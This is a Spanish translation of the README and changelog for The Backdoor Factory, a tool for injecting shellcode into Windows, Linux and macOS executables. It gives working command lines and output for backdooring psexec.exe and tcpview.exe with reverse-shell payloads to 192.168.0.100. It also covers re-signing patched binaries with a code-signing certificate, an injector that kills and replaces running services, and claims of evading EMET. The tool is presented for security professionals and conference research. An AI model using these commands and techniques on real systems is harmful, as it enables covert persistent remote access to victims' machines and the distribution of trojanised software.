secretsquirrel

ADVERTENCIA: Las Pull Requests SERÁN IGNORADAS Y CERRADAS.

The Backdoor Factory (BDF)

Solo para profesionales de la seguridad e investigadores.

El objetivo de BDF es parchear binarios ejecutables con el shellcode deseado por el usuario y continuar la ejecución normal del estado previamente parcheado.

Black Hat USA 2015:

Vídeo: https://www.youtube.com/watch?v=OuyLzkG16Uk

Documento: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

Vídeo: https://archive.org/details/joshpitts_shmoocon2015

Documento: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

Vídeo: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

Vídeo: http://www.youtube.com/watch?v=jXLb2RNX5xs

Demo del módulo de inyección: http://www.youtube.com/watch?v=04aJAex2o3U

Diapositivas: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Contacta con el desarrollador en:

IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

Bajo una licencia BSD de 3 cláusulas

Consulta la wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki

Instalación

DOCKER

docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

###A LA ANTIGUA

####Dependencias #####Para usar OnionDuke DEBES estar en una máquina Intel, porque aPLib aún no tiene soporte para el chipset ARM.

El motor Capstone se puede instalar desde PyPi con:

sudo pip install capstone

Pefile, el más reciente:

https://code.google.com/p/pefile/

osslsigncode (incluido en el repositorio):

http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Instalación en Kali:

  apt-get update
  apt-get install backdoor-factory

Instalación en otros *NIX/MAC:

./install.sh

Esto instalará Capstone con 3.01 y pip para instalar pefile.

ACTUALIZACIÓN:

./update.sh

Soporta:

Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
y Mach-O x86/x64, así como esos formatos en archivos FAT

Archivos empaquetados: PE UPX x86/x64

Experimental: OpenBSD x32

Algunos ejecutables tienen protecciones integradas, por lo que esto no funcionará en todos los binarios. Es recomendable que pruebes los binarios objetivo antes de implementarlos en clientes o utilizarlos en ejercicios. Estoy a punto de sortear NSIS, por lo que eludir estas comprobaciones se incluirá en el futuro.

Muchas gracias a Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Sin él, todavía estaría intentando hacer cosas estúpidas 
con el formato elf.
Gracias también a Silvio Cesare con su artículo de 1998 
(http://vxheaven.org/lib/vsc01.html) en el que se basan estas técnicas
de parcheo de ELF.

Probado recientemente en muchos binarios.

./backdoor.py -h Usage: backdoor.py [options]

##Características:

###Archivos PE

Puede encontrar todos los codecaves en un EXE/DLL.
Por defecto, limpia el puntero a la tabla de certificados PE, anulando así la firma de un binario.
Puede inyectar shellcode en codecaves o en una nueva sección.
Puede detectar si un binario PE necesita ejecutarse con privilegios elevados.
Al seleccionar codecaves, puedes usar los siguientes comandos:
  -Jump (j), para salto de codecave
  -Single (s), para parchear todo tu shellcode en una sola cavidad
  -Append (a), para crear un codecave
  -Ignore (i o q), da igual, ignora este binario
Puede ignorar DLLs
Parcheo de la tabla de importaciones
AutoParcheo (-m automtic)
Onionduke (-m onionduke)

###Archivos ELF

Extiende el SEGMENTO TEXT en 1000 bytes e inyecta shellcode en esa sección de código.

###Archivos Mach-O Parcheo de la sección Pre-Text y eliminación de firma

###En general

El usuario puede:
  -Proporcionar shellcode personalizado.
  -Parchear un directorio de ejecutables/DLLs.
  -Seleccionar solo binarios x32 o x64 para parchear.
  -Incluir BDF en otros proyectos de Python: consulta pebin.py y elfbin.py

Ejemplo de uso:

###Parchear un exe/dll usando un codecave existente:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Parchear un exe/dll añadiendo una sección de código:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Parchear un directorio de exes: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...

###Shellcode proporcionado por el usuario: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.

###Firma de código PE

BDF puede firmar archivos PE si tienes un certificado de firma de código. Usa osslsigncode. Coloca tu certificado de firma y tu clave privada en el directorio certs/. Prepara tus certificados usando los comandos de openssl de esta entrada de blog: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

Guarda la contraseña de tu clave privada en un archivo (¡sí, en texto plano!) de la siguiente manera (exactamente así):

echo -n yourpassword > certs/passFile.txt

Nombra tus certificados EXACTAMENTE como sigue:

signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

Tu directorio certs/ debería verse exactamente así:

certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

Habilita la firma de código PE con la opción -C de la siguiente manera:

 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

En una ejecución exitosa deberías ver esta línea en la salida de BDF:

[*] Code Signing Succeeded

###Búsqueda y backdoor: Injector | Solo Windows El módulo injector buscará en disco ejecutables objetivo a los que poner un backdoor. Comprobará si has identificado el objetivo como un servicio, verificará si el proceso se está ejecutando, matará el proceso y/o servicio, inyectará el shellcode en el ejecutable, guardará el archivo original como file.exe.old u otro sufijo que elijas, e intentará reiniciar el proceso o servicio.
Edita el diccionario de Python "list_of_targets" en el módulo 'injector' con los objetivos que elijas.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow

###Registro de cambios

####01/11/2016

Se corrigió el bug de truncamiento del punto de entrada que provocaba una recuperación incorrecta en casos excepcionales.

####07/04/2016

Soporte para rutas dinámicas en BDFProxy para el preprocesador

####06/19/2016

Se añadió el preprocesador y otras optimizaciones
El preprocesador permite al usuario modificar el binario antes de la inyección del payload
Se invoca con la opción -p
Consulta ejemplos en ./preprocessor/

####12/20/2015

Se añadieron rutas de directorio a BDF para encontrar el directorio de certificados.

####12/18/2015

Se añadió soporte para firma de código PE. Debes proporcionar tu propio certificado de firma de código. Ver aquí: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

Corrección de bug en la sección rsrc para el parcheo de onionduke y eliminación del valor de versión win32 aleatorio en la cabecera PE

####11/13/2015

Se añadió el truncado correcto de un archivo PE después de que se limpia el puntero de firma en la cabecera PE, p. ej., anulación correcta de la firma. Esto da como resultado un mejor soporte para el parcheo de IAT

####10/19/2015

Se corrigió un bug en la asignación de codecaves del directorio IAT que provocaba un fallo de BDF
Se hizo que la función fuera opcional con la opción -A

####10/13/2015

Se cambiaron las modificaciones del directorio de la tabla de importaciones de añadir una nueva sección a usar un codecave existente

####08/12/2015

Se añadió 'replace' como PATCH_METHOD: una copia directa del binario suministrado
Más orientado a su uso con BDFProxy

Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

Corrección de estabilidad para la selección automática de codecaves en casos raros de solapamiento

####08/05/2015

ACTUALIZACIONES BH USA, ¡w00t!
OnionDuke, usa -m onionduke * Soporta exes y dlls proporcionados por el usuario * Usage: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
MODO XP = Los payloads basados en IAT anteriores no soportaban XP, Wine ni Windows 98. Si necesitas soporte para XP, usa la opción -X. No daré soporte a nada anterior a XP (ni a XP x64).
Invoca el prompt de UAC para ejecutar como administrador. experimental: parchea el manifiesto PE si existe requestedExecutionLevel.
Actualizaciones de estabilidad: * Se corrigió un bug con el cálculo incorrecto de RVA al saltar a través de 2 o más codecaves * Mejores comprobaciones para determinar si una nueva sección para la IAT escribirá en datos añadidos y, por tanto, fallará
Mejoras de velocidad: * Búsqueda más rápida de codecaves al usar el modo automatic (-m automatic) * Análisis más rápido de rsrc para encontrar el archivo de manifiesto

####5/01/2015

Corrección de bug en el payload reverse_tcp_stager_threaded al usar payload de codecave único

####4/28/2015

Se añadió una comprobación para Bound Imports (los archivos PE con importaciones enlazadas no se parchearán)

####4/14/2015

Tantas actualizaciones:

Parcheo automático para archivos PE (usa -m automatic con un payload *_threaded)
Nuevos payloads IAT para archivos PE x86/x64
Solo mira: https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 Los quiero, chicos

Se añadió el parcheo de la tabla de direcciones de importación (IAT) para PEs con el fin de soportar payloads iat_reverse_tcp que usan la tabla de importaciones para llamadas a la API de Windows. Si el binario que estás parcheando no tiene LoadLibraryA y GetProcAddress, por ejemplo, BDF lo parcheará añadiendo una nueva tabla de importaciones en una nueva sección. Soporta PEs x64/x86.
Se añadió iat_reverse_tcp para PEs x64.
Correcciones de bugs y mejoras

####1/1/2015

¡Feliz Año Nuevo!

¡Dos nuevos payloads para OS X! El de delay: delay_reverse_shell_tcp

-B 30 --> retrasa el payload durante 30 segundos; el código principal se ejecuta de inmediato.

Fijación de un commit concreto de capstone para integrarlo en BDF; el repositorio capstone 'Next' rompe BDF.

Correcciones para soportar el problema de truncamiento de byte nulo en la implementación de capstone con cython

####12/27/2014

Se añadió payloadtests.py

Este script generará archivos parcheados en backdoored que permitirán al usuario probar los payloads como desee. Cada tipo de payload incrementa el puerto utilizado en uno.

Usage: payloadtest.py binary HOST PORT

####12/17/2014

Payloads de baliza (beaconing) para OS X en x86 y x64: beaconing_reverse_shell_tcp

-B 15 --> establece el tiempo de baliza en 15 segundos

Corrección de bug para soportar OS X en BDFProxy

####10/11/2014

Añadido parcheo de PE UPX

####9/26/2014

Añadido Mach-O x86/x64

Optimización del payload IAT para x86

####7/31/2014

Añadido soporte para parcheo de ELF ARM x32 LE

####7/22/2014

Añadido soporte para parcheo de ELF FreeBSD x32

Cambio a la licencia BSD de 3 cláusulas

####7/13/2014

Se incorporó Capstone: http://www.capstone-engine.org/

Durante el proceso de añadir Capstone, eliminé unas 500 líneas de código. Eso es bastante impresionante.

Se renombró loadliba_reverse_tcp a iat_reverse_tcp.

Pequeñas optimizaciones de velocidad.

####5/30/2014

Añadido un nuevo shellcode win86: loadliba_reverse_tcp

Basado en la siguiente investigación de Jared DeMott: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Gracias a @bannedit0 por mencionarlo.
Este shellcode usa las APIs LoadLibraryA y GetProcAddress para encontrar todas las APIs necesarias para una conexión TCP inversa. Se acabó la búsqueda de hash de API de Stephen Fewer (que sigue siendo brillante).
No es sigiloso. Depende de la posición. Pero los resultados son excelentes (salto entre codecaves): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
Evita EMET 4.1. La protección de llamadas no lo detecta.
Por ello, seguiré desarrollando esta idea con un algoritmo que parchee el binario con shellcode personalizado basado en las APIs que están en la IAT. Incluyendo el traslado de los shellcodes win86 actuales a esta idea.

Más Populares

the-backdoor-factory